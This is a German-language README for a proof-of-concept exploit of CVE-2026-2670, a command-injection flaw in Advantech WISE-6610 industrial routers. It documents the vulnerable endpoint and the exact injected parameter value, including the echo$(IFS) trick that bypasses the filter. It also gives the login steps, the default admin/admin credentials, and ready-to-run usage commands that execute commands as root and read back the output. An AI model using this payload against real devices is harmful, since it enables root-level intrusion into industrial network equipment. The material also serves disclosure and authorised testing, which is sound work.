
Proof-of-Concept-Exploit für CVE-2026-2670, eine Command-Injection-Schwachstelle in Advantech-WISE-6610-Routern, die es authentifizierten Angreifern ermöglicht, beliebige Befehle mit Root-Rechten auszuführen.
Proof-of-Concept-Exploit, das eine Command-Injection-Schwachstelle im Advantech WISE-6610 Industrie-Router demonstriert.
Die Schwachstelle existiert im Endpunkt /cgi-bin/luci/admin/openvpn_apply und ermöglicht einem authentifizierten Angreifer, beliebige Systembefehle auszuführen.
Die Webschnittstelle des WISE-6610 bereinigt den Parameter delete_file bei der Verarbeitung von OpenVPN-Konfigurationslöschungen nicht ordnungsgemäß.
Ein Angreifer mit gültigen Anmeldedaten kann Shell-Befehle mithilfe einer Pipe (|) gefolgt von einem Befehl und einer abschließenden echo$(IFS)-Sequenz injizieren, um die Eingabefilter zu umgehen.
Injizierte Befehle werden mit Root-Rechten ausgeführt.
requests-BibliothekAbhängigkeiten installieren:
pip install requests
Option Beschreibung
--target Basis-URL des Geräts (z. B. http://192.168.1.100:8444)
--cmd Auszuführender Befehl. Muss die Ausgabe in eine Datei innerhalb des Web-Root-Verzeichnisses schreiben (z. B. id > output.txt)
--output Web-Pfad zur Ausgabedatei (z. B. /output.txt). Muss dem im --cmd verwendeten Dateinamen entsprechen
--cookie (Optional) Vorhandener sysauth-Sitzungscookie-Wert
--username (Optional) Benutzername für die Anmeldung
--password (Optional) Passwort für die Anmeldung
--delay Sekunden, die vor dem Abrufen der Ausgabe gewartet werden (Standard: 2)
--debug Aktiviert detailliertes Request-/Response-Logging
Das Skript unterstützt zwei Authentifizierungsmethoden:
Bereitstellen eines vorhandenen sysauth-Sitzungscookies
Anmelden mit Benutzername und Passwort
Grundlegende Syntax
python3 exploit.py --target <URL> --cmd <BEFEHL> --output <AUSGABEPFAD> \
[--cookie <SYSCOOKIE> | --username <BENUTZER> --password <PASSWORT>] \
[--delay <SEKUNDEN>] [--debug]
1️⃣ Verwendung eines vorauthentifizierten Cookies
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ Anmeldung mit Anmeldedaten
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ Mit Debug-Ausgabe
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
Eine GET-Anfrage wird an /cgi-bin/luci/ gesendet, um das für die Authentifizierung erforderliche luci_nonce-Cookie zu erhalten.
Wenn Anmeldedaten bereitgestellt werden, sendet das Skript eine POST-Anfrage an /cgi-bin/luci/ mit luci_username und luci_password, um ein sysauth-Cookie zu erhalten.
Wenn ein gültiges Cookie über --cookie bereitgestellt wird, wird dieser Schritt übersprungen.
Eine POST-Anfrage wird gesendet an:
/cgi-bin/luci/admin/openvpn_apply
Mit den folgenden Parametern:
act=delete
delete_file=123123|<befehl> echo$(IFS)
openvpn_id=1
Die echo$(IFS)-Sequenz hilft, den injizierten Befehl abzuschließen und Eingabefilter zu umgehen.
Nach einer kurzen Verzögerung versucht das Skript, die erzeugte Datei vom angegebenen --output-Pfad abzurufen.
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.
Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.